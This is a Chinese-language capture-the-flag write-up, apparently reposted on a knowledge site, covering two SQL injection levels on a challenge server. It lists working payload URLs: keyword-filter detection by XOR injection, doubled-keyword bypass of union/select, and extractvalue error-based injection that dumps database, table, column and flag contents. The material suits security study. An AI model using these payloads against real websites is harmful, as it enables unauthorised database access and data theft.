SQL注入攻击详解
SQL查询语言:SELECT语句详解 #生活知识# #编程教程#
这题分为两个关卡,都是sql注入的。第一关是关键字and、or、union、select过滤,第二关是报错注入。
测试进入第一关没有什么提示信息,但是url地址栏 ?id=1 可能存在注入
id=1' 会报错,后面加--+注释返回正常,确定存在SQL注入
?id=1'or 1=1--+ 也报错,可能存在过滤
尝试双写绕过,?id=1'oorr 1=1--+ 返回正常
异或注入这时我们可以用异或注入来检测,异或即两个条件相同(同真或同假)即为假
http://123.206.87.240:9004/1ndex.php?id=1'^(length('and')!=0)--+
当满足异或条件就正常返显,There is nothing.
当不满足异或条件时,返回 Error! Error! Error!
可以测试出被过滤的字符串有:and,or,union,select
双写绕过这时我们可以用双写绕过。
猜字段数
http://123.206.87.240:9004/1ndex.php?id=1' oorrder by 2 --+ 正常
http://123.206.87.240:9004/1ndex.php?id=1' oorrder by 3 --+ 报错
爆库
http://123.206.87.240:9004/1ndex.php?id=-1' ununionion seselectlect 1,database() --+
爆表
http://123.206.87.240:9004/1ndex.php?id=-1' ununionion seselectlect
1,group_concat(table_name) from infoorrmation_schema.tables
where table_schema="web1002-1"--+ (注意information_schema里也会过滤or)
爆列
http://123.206.87.240:9004/1ndex.php?id=-1' ununionion seselectlect
1,group_concat(column_name) from infoorrmation_schema.columns
where table_schema="web1002-1" and table_name="flag1"--+
爆数据
http://123.206.87.240:9004/1ndex.php?id=-1' ununionion seselectlect
1,group_concat(flag1) from flag1--+
这是第一关的flag,不过是假的。因此我们只能爆出flag1中另一个address的数据。
爆第二关地址
http://123.206.87.240:9004/1ndex.php?id=-1' ununionion seselectlect
1,group_concat(address) from flag1--+
当双写绕过和大小写绕过都没用时,这时我们需要用到报错注入。
报错注入爆字段数
http://123.206.87.240:9004/Once_More.php?id=1' order by 2--+ 正常
http://123.206.87.240:9004/Once_More.php?id=1' order by 3--+ 报错
爆库
http://123.206.87.240:9004/Once_More.php?id=1' and
(extractvalue(1,concat(0x7e,database(),0x7e)))--+
爆表
http://123.206.87.240:9004/Once_More.php?id=1' and
(extractvalue(1,concat(0x7e,
(select group_concat(table_name) from information_schema.tables
where table_schema="web1002-2"),0x7e)))--+
爆列
http://123.206.87.240:9004/Once_More.php?id=1' and
(extractvalue(1,concat(0x7e,
(select group_concat(column_name) from information_schema.columns
where table_schema="web1002-2" and table_name="flag2"),0x7e)))--+
爆flag
http://123.206.87.240:9004/Once_More.php?id=1' and
(extractvalue(1,concat(0x7e,
(select group_concat(flag2) from flag2),0x7e)))--+
最后flag就出来了。
第三关地址。想知道有什么自己去看吧~
网址:SQL注入攻击详解 https://www.yuejiaxmz.com/news/view/504225
相关内容
解决基于Python的自动化SQL注入工具开发的具体操作步骤SqlMap自动化SQL注入测试工具简绍
[黑客技术]SQL注入的新技巧
网络安全攻防——SQL注入
[黑客技术]ASP漏洞+SQL注入的入侵方法
【网络安全】基础知识详解(非常详细)零基础入门到精通
【网络安全】基础知识详解(非常详细)零基础入门到精通,收藏这一篇就够了
PyMySQL的使用:事务、索引、如何防止SQL注入
SQL Server——存储过程
网络安全学习路线全攻略!超详细学习指南,从零基础到精通全覆盖!